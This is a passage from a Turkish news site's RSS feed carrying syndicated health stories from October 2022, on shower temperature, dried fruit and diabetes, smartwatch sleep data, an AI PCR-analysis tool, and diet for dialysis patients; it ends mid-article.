                <link>https://www.yeniistiklal.com/public/index.php/haber/gece-rahat-bir-uyku-icin-sicak-dus-saclarinizin-daha-parlak-gorunmesi-icin-soguk-dus-547720</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/gece-rahat-bir-uyku-icin-sicak-dus-saclarinizin-daha-parlak-gorunmesi-icin-soguk-dus-547720</guid>
                <description><![CDATA[Yoğun bir günün ardından banyoya girip uzun bir duş almak, insanı stresten arındırıp rahatlatıyor. Genellikle sıcak duş almayı tercih ediyor ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Yoğun bir günün ardından banyoya girip uzun bir duş almak, insanı stresten arındırıp rahatlatıyor. Genellikle sıcak duş almayı tercih ediyor olsak da soğuk duşunda birçok faydası bulunuyor. DoktorTakvimi uzmanlarından Uzm. Dr. Elif Esen Özdemir, sıcak ve soğuk duş almanın faydalarını ve dikkat edilmesi gerekenleri anlatıyor.</strong></span></span></p>  <p><span><span>Duş almak hepimize iyi geliyor. Günlük hayatta insanlar, genelde uzun ve yoğun geçen bir günün ardından dinlenmek için sıcak duş alıyor. Ancak sabah işe gitmeden önce alınan soğuk duş da kişiyi uyandırarak daha canlı, enerjik hissetmesini sağlıyor. Hızlı, soğuk ya da sıcak bir duşun faydaları kadar dikkat edilmesi gereken yönlerinin de olduğunu söyleyen Doktor Takvimi uzmanı Uzm. Dr. Elif Esen Özdemir, sıcak ve soğuk duş hakkında önemli bilgiler veriyor. Çoğu kişi sıcak duşu, soğuk olana tercih etse de soğuk duşun önemli faydaları bulunuyor. 10-15 derecedeki su ile alınan duşların, soğuk duş olarak kabul edildiğini söyleyen Uzm. Dr. Elif Esen Özdemir: “Soğuk duş kan dolaşımınızı artırıyor, sizi uyandırıp canlandırıyor, zihinsel keskinliğinizi artırıyor ve bağışıklığınızı güçlendiriyor. Cildinizin nemli, saçlarınızın parlak olmasını sağlıyor ve spor sonrası kaslarınızın toparlanmasını hızlandırıyor” diyor. </span></span></p>  <p><span><span>Hava sıcaklığının düşük olduğu günlerde soğuk su ile duş aldıktan sonra tekrar ısınmanın zor olabileceğini aktaran Uzm. Dr. Elif Esen Özdemir, ayrıca soğuk algınlığı gibi bir enfeksiyon sırasında alınan soğuk duşun bağışıklık sistemini zorladığına da dikkat çekiyor. Geceleri gevşemekte ve uykuya dalmakta zorlanan kişiler için sıcak bir duşun çok faydalı olduğunu aktaran Uzm. Dr. Elif Esen Özdemir, sıcak duşun faydalarını ise şöyle açıklıyor: “Sıcak duş, kas ağrılarını ve soğuk algınlığı belirtilerini azaltıyor. Ayrıca sıcak duş, cildinizdeki gözenekleri açarak cildinizin yağ ve kirden arınmasını kolaylaştırarak sivilceleri azaltıyor. Ancak sıcak su cildinizi kurutabiliyor ve tahriş edebiliyor. Kişilerin egzama gibi bir sorunu varsa bunu daha da kötüleştirebiliyor ve kaşıntıya yol açabiliyor. Hipertansiyonu veya kalp hastalığı olan kişilerin de çok sıcak su ile duş almaktan kaçınması gerekiyor.”</span></span></p> <p><br/> <span><span> Soğuk duş ya da sıcak duş almanın sağlık durumuna ve o anki koşullara göre yapılması gereken bir tercih olduğunu belirten Uzm. Dr. Özdemir, hem sıcak hem de soğuk duşun sayısız faydası olsa da ideal olanın 35-37 derece sıcaklıktaki ılık su ile duş almak olduğunun altını çiziyor.</span></span></p>Kaynak:  (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-gece-rahat-bir-uyku-icin-sicak-dus-saclarinizin-daha-parlak-gorunmesi-icin-soguk-dus-67731.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Fri, 28 Oct 2022 11:02:05 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/gece-rahat-bir-uyku-icin-sicak-dus-saclarinizin-daha-parlak-gorunmesi-icin-soguk-dus-gUxBI1vn.jpg"/>
            </item>
                                <item>
                <title>Diyabetten kurtulmanın yolu kuru meyvelerden geçiyor</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/diyabetten-kurtulmanin-yolu-kuru-meyvelerden-geciyor-547708</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/diyabetten-kurtulmanin-yolu-kuru-meyvelerden-geciyor-547708</guid>
                <description><![CDATA[Sağlıklı beslenmenin formülü kuru meyveler Sağlıklı ürünlerle beslenme, tip 2 olarak tanımlanan ve günümüzde dünya genelinde 537 milyon kişide ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Sağlıklı beslenmenin formülü kuru meyveler</strong></span></span></p>  <p><span><span>Sağlıklı ürünlerle beslenme, tip 2 olarak tanımlanan ve günümüzde dünya genelinde 537 milyon kişide görülen diyabet türünün önlenmesinde ya da geciktirilmesinde çok kilit bir rol üstleniyor. Kuru meyveler bu süreçte öne çıkan gıdaların başında geliyor.</span></span></p>  <p><span><span>Dünya Sağlık Örgütü’nün sağlıklı gıdalar olarak tanımladığı kuru meyvelerin tüketiminin artması diyabet dışında kardiyovasküler sağlıktan kilo yönetimine, lipoproteinlere ve dislipidemiye, iltihaplanma ve oksidasyon, bağırsak sağlığı, yaşlanma ve bazı kanser türlerine kadar sayısız sağlık yararı bilimsel olarak ortaya konulmuş durumda. </span></span></p>  <p><span><span>Dünya çapında 25 bilim insanı, kuru meyvelerin sağlığa faydalarını tüm taraflarıyla ortaya koymak için Uluslararası Kuru ve Kabuklu Meyveler Konseyi(INC) tarafından düzenlenen NUTS 22’de buluştu. </span></span></p>  <p><span><span>Universitat Rovira i Virgili’de görevli Prof. Jordi Salas-Salvado başkanlığındaki toplantıda Harvard T.H. Chan Halk Sağlığı Okulu, Toronto Üniversitesi, Loma Linda Üniversitesi ve Penn Eyalet Üniversitesi'nden çok değerli araştırmacıların yer aldığı bilgisini veren Ege Kuru Meyve ve Mamulleri İhracatçıları Birliği Yönetim Kurulu Üyesi ve Uluslararası Kuru ve Kabuklu Meyveler Konseyi (INC) Türkiye Büyükelçisi Ahmet Bilge Göksan, kuruyemiş ve kuru meyvelerin sağlıklı beslenmenin önemli bir parçası olduğu ile ilgili bilimsel çalışmalar yanında kuru meyvelerin sağlıklı gıdalar olduğuyla ilgili farkındalık kazandırılmasının da amaçlandığının altını çizdi. </span></span></p>  <p><span><span>“Kuru  ve kabuklu meyvelerin insan sağlığına pek çok faydası olduğunu dile getiren Göksan, “Hepsi sağlık üzerinde faydalı etkiye sahip besinler. Mono ve çoklu doymamış yağlar, lif, vitamin mineralleri, polifenoller ve antioksidanları içeriyor ve kuru meyveler temel besinleri ve sağlığı geliştirici antioksidanlar gibi biyoaktif bileşikler barındırıyor. Uluslararası Diyabet Federasyonu'na göre, şu anda dünya çapında diyabetli 537 milyon insan var ve bu sayının 2045 yılına kadar 700 milyon kişiye ulaşması bekleniyor. Yaygınlık dünya çapında artmakta ve her yıl 4 milyondan fazla insanın ölümüne yol açmakta. Yaşam tarzı önlemleri ve sağlıklı beslenme, en yaygın diyabet türü olan tip 2 diyabetin önlenmesinde veya geciktirilmesinde çok etkili. NUTS 22’de en çok yoğunlaşılan başlıklardan birisi de diyabet hastalarının kuru meyvelerden şeker ihtiyacını karşılamaları için projeler geliştirmek” şeklinde konuştu. </span></span></p> <p><span><span><strong>İç tüketimi de artırmalıyız</strong></span></span></p> <p><span><span>Türkiye’nin çekirdeksiz kuru üzüm, kuru incir, kuru kayısı, fındık başta olmak üzere pek çok kuru ve kabuklu meyve üretiminde dünya lideri olduğunu aktaran Ege Kuru Meyve ve Mamulleri İhracatçıları Birliği Yönetim Kurulu Üyesi ve INC Türkiye Büyükelçisi Ahmet Bilge Göksan, sağlıklı ürünler olan kuru meyve üretim ve ihracatındaki dünya  liderliğimize karşın iç tüketimimizin çok sınırlı olduğunu, önümüzdeki yıllarda Türkiye’de kişi başı kuru meyve tüketiminin artması için çaba göstereceklerini özellikle çocuklar ve Z kuşağının kuru meyve tüketimini artıracak tanıtım çalışmalarına odaklanacaklarını sözlerine ekledi.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-diyabetten-kurtulmanin-yolu-kuru-meyvelerden-geciyor-67722.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Fri, 28 Oct 2022 10:27:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/diyabetten-kurtulmanin-yolu-kuru-meyvelerden-geciyor-hBbQ7OI8.jpg"/>
            </item>
                                <item>
                <title>Türkiye pandemiden sonra daha geç yatmaya ve uyanmaya başladı</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/turkiye-pandemiden-sonra-daha-gec-yatmaya-ve-uyanmaya-basladi-547676</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/turkiye-pandemiden-sonra-daha-gec-yatmaya-ve-uyanmaya-basladi-547676</guid>
                <description><![CDATA[Samsung, pandemi sonrasında değişen uyku alışkanlıkları ile ilgili önemli bir araştırma yayınladı. Samsung’un Galaxy Watch akıllı saatlerinde ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Samsung, pandemi sonrasında değişen uyku alışkanlıkları ile ilgili önemli bir araştırma yayınladı. Samsung’un Galaxy Watch akıllı saatlerinde toplanan verilere göre, ABD, Almanya ve Fransa uyku verimliliğinde en büyük düşüşü yaşarken, Türkiye pandemiden sonra daha geç yatmaya ve uyanmaya başladı. </strong></span></span></p>  <p><span><span>Teknoloji devi Samsung, Galaxy Watch akıllı saatlerinde topladığı, Ar-Ge Merkezi ve Büyük Veri Merkezi tarafından analiz edilen verilerle, Türkiye ve dünyada değişen uyku alışkanlıklarını ortaya çıkardı. </span></span></p>  <p><span><span>Pandemi döneminde günlük hayatımızda gerçekleşen değişiklikler, dünyanın her yerinde insanların daha uzun süreler uyumasına sebep oldu. Ancak, Samsung’un elde ettiği verilere göre; uyku süresiyle uyku verimliliği arasında herhangi bir korelasyon olmadığı görülüyor. Aslında tüm ülkelerde, uyku süresi ortalamaları salgın öncesi döneme göre artarken, uyku verimliliğinde genel bir düşüş göze çarpıyor. </span></span></p>  <p><span><span><strong>Türkiye, pandemiden sonra daha geç yatmaya ve uyanmaya başladı</strong></span></span></p> <p><span><span>Verilere göre Türkiye, yüksek uyku verimliliğiyle öne çıkarken, uykuya dalma saatlerinde değişim gözlendi. Türkiye, pandemi öncesinde en geç yatma ve uyanma saatine sahip ülkeydi, bu durum halen devam ediyor. Pandemi sonrası Türkiye'de uyanma süresi 13 dakika daha uzarken, Türkiye'deki insanlar, 48 dakika daha geç yatıp, dünya ortalamasından 40 dakika geç uyandılar. Öte yandan, daha uzun süre uyumak maalesef daha iyi bir uyku kalitesi anlamına gelmiyor. Uyku süresi, uyumaya çalışırken yatakta geçirilen süreyi de kapsarken, ‘uyku verimliliği’ ile gerçek anlamda uykuda geçirilen zaman kast ediliyor.</span></span></p>  <p><span><span><strong>Erkeklerin uyku verimliliği, kadınlara göre daha fazla düşüş gösteriyor</strong></span></span></p> <p><span><span>Bununla beraber, veriler cinsiyete göre de farklılık gösteriyor. Hem erkekler hem de kadınlar pandemi öncesinde olduğundan fazla dinlenirken, erkekler kadınlara göre daha uzun süre uyumakla kalmıyor, aynı zamanda uyku verimliliklerinde büyük bir düşüş de yaşıyor. Sonuçları değiştiren bir diğer faktör ise yaş olurken, uyku verimliliği yaş ilerledikçe azalış gösteriyor. Uyku verimliliğinde önemli bir yükselme görülen 20 ila 39 yaş arasındaki kişiler, bu durum için istisna oluşturuyor. Ayrıca bu yaş grubu, hem süre hem de verimlilik konusunda önemli bir artış sergileyen tek yaş grubu olarak öne çıkıyor.</span></span></p>  <p><span><span>Uyku alışkanlıkları küresel çapta değerlendirildiğinde öne çıkan sonuçlar aşağıdaki gibi oldu:</span></span></p>  <p><span><span><strong>-Fransa</strong>, hem pandemi öncesi hem de sonrası en uzun uyku süresine sahipken, ülkede uyku verimliliği önemli oranda azaldı.</span></span></p>  <p><span><span><strong>-Kore'deki</strong> kullanıcılar, salgın döneminde uyku süresi ve verimliliğinde en büyük artışlardan birini yaşadı, ancak yine de küresel ortalamanın altında kaldı.</span></span></p>  <p><span><span><strong>-ABD</strong>, ölçülen tüm bölgeler arasında uyku verimliliğinde en büyük düşüşü yaşadı. </span></span></p>  <p><span><span><strong>-Almanya</strong> pandemi öncesi dönemde en yüksek küresel uyku verimliliği puanına sahipken, salgından bu yana uyku verimliliğinde gerçekleşen en büyük düşüşlerden birini yaşadı.</span></span></p>  <p><span><span><strong>-Arjantin</strong>, salgın başlangıcından itibaren uyku verimliliğinde en yüksek artışı kaydetti.</span></span></p>  <p><span><span>-Salgından önce uyku verimliliğinde en düşük orana <strong>Endonezya</strong> shipken, artık bu oran <strong>Vietnam'a</strong> ait. -Ayrıca, incelenen 16 ülke arasında Endonezya, salgın öncesi seviyeler ile pandemi sonrası seviyeler kıyaslandığında, uyku verimliliğinde en yüksek artışı yaşadı.</span></span></p>  <p><span><span>-Ayrıca <strong>Endonezya'da</strong> salgının başlamasının ardından, uyku süresinde ortalama 11 dakika artış gözlemlendi. Endonezya, geçmişte de bugün de en erken uyanma saati ortalamasına sahip ülke olma özelliğini taşıyor.</span></span></p>  <p><span><span>-Uyanma ve uyku saatlerinde en büyük değişikliğin görüldüğü ülkeyse <strong>Meksika</strong>. Uyku saati ortalama 11 dakika öne, uyanma saatiyse 17 dakika ileri kaydı.</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-turkiye-pandemiden-sonra-daha-gec-yatmaya-ve-uyanmaya-basladi-67714.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 19:01:06 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/turkiye-pandemiden-sonra-daha-gec-yatmaya-ve-uyanmaya-basladi-8xOdmtrA.jpg"/>
            </item>
                                <item>
                <title>Prof. Dr. Gökalp Öner Türkiye’nin Kültür ve Turizm elçisi</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/prof-dr-gokalp-oner-turkiyenin-kultur-ve-turizm-elcisi-547649</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/prof-dr-gokalp-oner-turkiyenin-kultur-ve-turizm-elcisi-547649</guid>
                <description><![CDATA[Kadın Hastalıkları, Doğum ve Tüp Bebek Uzmanı Prof. Dr. Gökalp Öner, Türkiye Tanıtım Platformu (TÜTAP) tarafından Türkiye’nin Kültür ve Turizm ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span>Kadın Hastalıkları, Doğum ve Tüp Bebek Uzmanı Prof. Dr. Gökalp Öner, Türkiye Tanıtım Platformu (TÜTAP) tarafından Türkiye’nin Kültür ve Turizm elçisi seçildi. </span></span></p>  <p><span><span>Prof. Dr. Gökalp Öner’e, Türkiye Tanıtım Platformu (TÜTAP) Yönetim Kurulu Başkanı Fikret Yıldız tarafından ‘Türkiye’nin Kültür ve Turizm Elçisi Beratı’ verildi.</span></span></p>  <p><span><span><strong>‘Sağlık turizminde başarılı olanlara veriliyor’</strong></span></span></p> <p><span><span>TÜTAP Yönetim Kurulu Başkanı Fikret Yıldız, Kadın Hastalıkları, Doğum ve Tüp Bebek Uzmanı Prof. Dr. Gökalp Öner’e TÜTAP (Türkiye Tanıtım Platformu) tarafından Türkiye’nin Kültür ve Turizm elçisi beratını teslim ederken şu konuşmayı yaptı; “Türkiye Tanıtım Platformu ülkemizin hem yurt içinde hem de yurt dışında tanıtılmasını yürüten bir platform. 15 yıldır Türkiye’nin tanıtılmasında bir çok proje yapıldı. 2019 yılında Türkiye’nin en yüksek rakamlarına ulaştık, hem turist açısından, hem milli gelir olarak. Burada da TÜTAP’ın çok büyük katkısı oldu. Turizm çeşitliliği bakımından dünyanın en zengin ülkesiyiz. Biz sağlık turizmine çok önem veriyoruz. Özellikle sağlık turizmi ile kültür turizmini entegre edip daha verimli sonuçlar almayı hedefliyoruz. O yüzden sağlık turizminde başarılı olan kişileri de ödüllendirmek, mükafatlandırmak bizim bir misyonumuz. Prof. Dr. Gökalp Öner de sağlık turizminin içerisinde olduğundan ve başarılı çalışmalarından ötürü böyle bir önemli ödüle layık görüldü.” </span></span></p>  <p><span><span><strong>“Mutluluk verici”</strong></span></span></p> <p><span><span>Prof. Dr. Gökalp Öner, duygularını şu sözlerle dile getirdi: “Türkiye, sağlık alanında dünyanın sayılı yerleri arasında. Bizim de Avrupa, İngiltere ve İsveç ile bağlantılarımız oldu. Hem ülkemizin ismini duyurmak, hem de katkı sağlamak amaçlı sağlık turizmini geliştirmemiz gerekiyor. Güzel işler yapıyoruz. Güzel işlerin de hem ülkemiz, hem de dünya tarafından görülmesi de mutluluk verici.”</span></span></p>Kaynak: (BYZHA) - Beyaz Haber Ajansı</p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://beyazhaberajansi.com/haber-prof-dr-gokalp-oner-turkiye-nin-kultur-ve-turizm-elcisi-67697.html">Beyaz Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">BEYAZ Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 17:33:03 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/prof-dr-gokalp-oner-turkiyenin-kultur-ve-turizm-elcisi-D8KQemQ3.jpg"/>
            </item>
                                <item>
                <title>Yapay zeka algoritmaları ile PCR testi!</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/yapay-zeka-algoritmalari-ile-pcr-testi-547623</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/yapay-zeka-algoritmalari-ile-pcr-testi-547623</guid>
                <description><![CDATA[KKTC (İGFA) - Yakın Doğu Üniversitesi, PCR sonuçlarını saniyeler içinde analiz ederek tanı koyabilen yapay zeka geliştirdi. Deneyimli moleküler ...]]></description>
                <content:encoded><![CDATA[<img src="https://www.igfhaber.com/static/ya/yapay-zeka-algoritmalari-ile-pcr-testi-1666876477-31-x750.jpg" /><br /><p><p><strong>KKTC (İGFA) -</strong> Yakın Doğu Üniversitesi, PCR sonuçlarını saniyeler içinde analiz ederek tanı koyabilen yapay zeka geliştirdi.</p>  <p>Deneyimli moleküler mikrobiyoloji uzmanları tarafından yüzde 100 doğrulukla çalıştığı belirlenen sistem, PCR sonuçlarını; pozitif, düşük pozitif, negatif ve belirsiz olarak kategorize edebiliyor.</p>  <p>Yakın Doğu Üniversitesi’nin geliştirdiği yapay zeka algoritmaları ise PCR test verilerini PCR cihazlarına entegre edilebilen bir arayüz ile analiz ederek, test sonucunun insan müdahalesine gerek kalmadan saniyeler içerisinde belirlenmesini sağlıyor.</p>  <p>Geliştirilen derin öğrenme algoritması ile PCR cihazından alınan floresan ışıma verileri, her bir hasta için, önceden eğitilen programa yükleniyor. Yüzlerce hastanın PCR sonucu ile eğitilen yapay zeka sistemi, hasta örneklerine ait grafikleri tanımlayıp sonucunu saniyeler içinde verebiliyor.</p>  <p>Geliştirilen yapay zeka sistemi, Portekiz’de gerçekleştirilen 32. Avrupa Klinik Mikrobiyoloji ve Enfeksiyon Hastalıkları Kongresi’nde, Avrupa Klinik Mikrobiyoloji ve Enfeksiyon Hastalıkları Kongresi (ECCMID)’de Doç. Dr. Buket Baddal tarafından bilim dünyası ile paylaşıldı.</p>  <p><img src="https://www.igfhaber.com/static/16/1666860070-do-dr-buket-baddal-1666876387-361.jpg"/></p>  <p> Yakın Doğu Üniversitesi Rektör Vekili Prof. Dr. Tamer Şanlıdağ ise COVID-19 sürecinde ilk günden itibaren çok yönlü bir şekilde bilimsel araştırmalar yürüttüklerini söyleyerek, “Üniversitemiz bünyesinde bilim insanlarımızın yürüttüğü çalışmaları, COVID-19 sürecinin daha etkili bir şekilde yönetilmesine olanak sağlayacak ürünlere dönüştürürken çalışmalarımızın sonuçlarını da bilimsel makalelerle bilim dünyası ile paylaşmaya devam ettik” ifadesini kullandI.</p></p><p style="text-align: center; ">Haberi Kaynağından oku: <a href="https://www.igfhaber.com/saglik/yapay-zeka-algoritmalari-ile-pcr-testi-259597">İGF Haber Ajansı</a></p><p style="text-align: left;">Not : <font color="#969494" face="verdana, arial"><span style="font-size: 11px;">Bu haber </span></font><span style="color: rgb(249, 249, 249); font-size: 15px; text-indent: -9px; background-color: rgb(54, 121, 173);">İGF Haber Ajansı</span><font color="#969494" face="verdana, arial"><span style="font-size: 11px;"> </span></font><span style="font-size: 11px; color: rgb(150, 148, 148); font-family: verdana, arial;">internet sitesinden, Yeniistiklal.com editörlerinin hiçbir editoryal müdahalesi olmadan otomatik olarak geldiği şekliyle alınmıştır. Bu haberlerin hukuki muhatabı haber kaynaklarıdır. Haberlerle ilgili her tür şikayetinizi yeniistiklal@gmail.com adresimize gönderebilirsiniz.</span></p>]]></content:encoded>
                <pubDate>Thu, 27 Oct 2022 16:38:04 +0300</pubDate>
                <enclosure type="image/jpeg" url="https://www.yeniistiklal.com/public/index.php/images/haberler/2022/10/yapay-zeka-algoritmalari-ile-pcr-testi-XDXNQBUq.jpg"/>
            </item>
                                <item>
                <title>Diyalizde tehlike içeren 3 besin</title>
                <category>Sağlık</category>
                <link>https://www.yeniistiklal.com/public/index.php/haber/diyalizde-tehlike-iceren-3-besin-547615</link>
                <guid>https://www.yeniistiklal.com/public/index.php/haber/diyalizde-tehlike-iceren-3-besin-547615</guid>
                <description><![CDATA[Diyaliz hastaları tuz, potasyum ve fosforlu besinlerden uzak durmalı… Bir diyaliz hastası için beslenme ve bilinçli davranış büyük önem taşıyor ...]]></description>
                <content:encoded><![CDATA[<p><p><span><span><strong>Diyaliz hastaları tuz, potasyum ve fosforlu besinlerden uzak durmalı…</strong></span></span></p>  <p><span><span><strong>Bir diyaliz hastası için beslenme ve bilinçli davranış büyük önem taşıyor.  Hemodiyaliz hastalarının sağlıklarını sürdürmelerinde tedavi programı, diyet ve sıvı kısıtlamalarına uyum göstermelerinin oldukça önemli olduğunu belirten uzmanlar, beslenirken özellikle tuzlu, fosforlu ve potasyum içeren besinlere dikkat edilmesi gerektiğini ifade ediyor. Üsküdar Üniversitesi Diyaliz Program Başkanı Öğr. Gör. Meliha Çakmak, diyaliz hastaları için beslenme ve kilo kontrolünün de çok önemli olduğuna dikkat çekerek iki diyaliz seansı arasında 1,5 - 2 kilodan fazla almamalarını tavsiye ediyor.</strong></span></span></p>  <p><span><span>Üsküdar Üniversitesi Sağlık Hizmetleri Meslek Yüksekokulu Diyaliz Program Başkanı Öğr. Gör. Meliha Çakmak, diyaliz hastalarının beslenmede dikkat etmesi gereken noktaları paylaştı ve çok önemli tavsiyelerde bulundu.</span></span></p>  <p><span><span><strong>Beslenme ve bilinçli davranış çok önemli</strong></span></span></p> <p><span><span>Bir diyaliz hastası için beslenme ve bilinçli davranışın çok önemli olduğunu vurgulayan Öğr. Gör. Meliha Çakmak, “Hemodiyaliz hastalarının sağlıklarını sürdürmelerinde tedavi programı, diyet ve sıvı kısıtlamalarına uyum göstermeleri oldukça önemlidir. Ancak hastalar için uygulanması en zor olan durum, diyet ve sıvı kısıtlamalarıdır. Çünkü hastalık hem yeme alışkanlıklarını ve tercihlerini etkiliyor hem de özellikle sıvı, protein ve potasyum alımı konusunda birçok kısıtlama getiriyor. Hemodiyaliz tedavisi alan hastalar için diyet tedavi rejiminin can alıcı noktasıdır ve diyete uyumsuzluk çoğu zaman sıvı-elektrolit dengesini bozar, malnütrisyon gelişme riskini ve mortaliteyi arttırır. Bu nedenle hemodiyaliz tedavisi öncesinde ve sırasında ortaya çıkan uyum sorunlarının belirlenip çözümlenmesi ile tedavinin etkinliği önemli düzeyde artırılabilir.” dedi.</span></span></p>  <p><span><span><strong>İlk olarak tuzdan uzak durulmalı</strong></span></span></p> <p><span><span>Öğr. Gör. Meliha Çakmak; hemodiyaliz hastalarının beslenirken tuzlu, fosforlu ve potasyum içeren besinlere dikkat etmelerini gerektiğini söyledi ve sözlerine şöyle devam etti:</span></span></p>  <p><span><span>“Günlük tuz ihtiyacı 2 gramdır. Bu miktar beslenirken hiç tuz kullanılmasa bile besinlerin kendi tuzundan karşılanır. Yani tamamen tuzsuz yenen ekmeğin, etin, yumurtanın, sebzenin ve benzeri gıdaların kendi tuzu vardır ve bu tuz insana yeter. Böbrek hastası bilmelidir ki uzun ve sağlıklı yaşamak için en önemli iş, tuzu tam olarak hayatından çıkarmaktır. Sağlıklı bir birey, ihtiyaç fazlası fosforu böbrekler yolu ile atar ancak böbrek hastasının fosforu tek atma yolu diyalizdir ve fazlası kanda birikir. Kanda biriken fosfor, üremik kemik hastalığı denen bir çeşit kemik hastalığına, kan damarları ve yumuşak dokularda kireçlenmeye sebebiyet verir.”</span></span></p>  <p><span><span><strong>Potasyum ölümcül sonuçlar doğurabiliyor</strong></span></span></p> <p><span><span>Normalde yiyecek ve içecekle alınan ihtiyaç fazlası potasyumun böbreklerden idrar yolu ile atıldığını belirten Öğr. Gör. Meliha Çakmak, “Böbrek yetersiz çalıştığı ya da hiç çalışmadığı için böbrek hastasının kanında potasyum yükselir. Kanda biriken potasyum, kalpte ölümcül ritim bozukluğuna yol açar. Bu sebeple potasyum böbrek hastası için en tehlikeli olan maddedir.” dedi ve dikkat edilmesi gereken önemli noktaları şöyle paylaştı: </span></span></p> <div> <ul> <li><span><span>Sebzeler haşlanırken birinci haşlama suyu dökülünce potasyumdan büyük oranda temizlenmiş olacağından haşlanmış ve süzülmüş olarak tüketilmesinde sakınca yoktur,</span></span></li> </ul> </div> <div> <ul> <li><span><span>Bir böbrek hastası günlük olarak ortalama 100 gram et tüketebilir. Bu miktar üç köfte ya da bir tavuk budu veya orta boy bir balığa tekabül eder,</span></span></li> </ul> </div> <div> <ul> <li><span><span>Böbrek hastası sarısından arındırılmış olarak günde en az bir adet haşlanmış yumurta beyazı yemelidir,</span></span></li> </ul> </div> <div> <ul> <li><span><span>Diyabetik olmayan böbrek hastasının şeker tüketmesinde bir sakınca yoktur. Ancak çikolata önerilmez, akide şekeri, lokum ve tanesiz reçel yemesinde sakınca yoktur. Pekmezlerden de uzak durulmalıdır,</span></span></li> </ul> </div> <div> <ul> <li><span><span>Böbrek hastası hiçbir gıdayı bir günde aşırı miktarda tüketmemelidir.</span></span><br/>  </li> </ul> </div> <p><span><span><strong>İşte uzak durulması gereken beslenme alışkanlıkları…</strong></span></span></p> <p><span><span>Öğr. Gör. Meliha Çakmak, diyaliz hastalarının uzak durması gereken yanlış beslenme alışkanlıklarını ise şöyle sıraladı:</span></span></p> <div> <ul> <li><span><span>Kavurma, pastırma, salam, sosis, sucuk gibi gıdaların tamamında tuz ve fosfor oranı yüksek olduğu için böbrek hastasının tüketmesi önerilmez,</span></span></li> </ul> </div> <div> 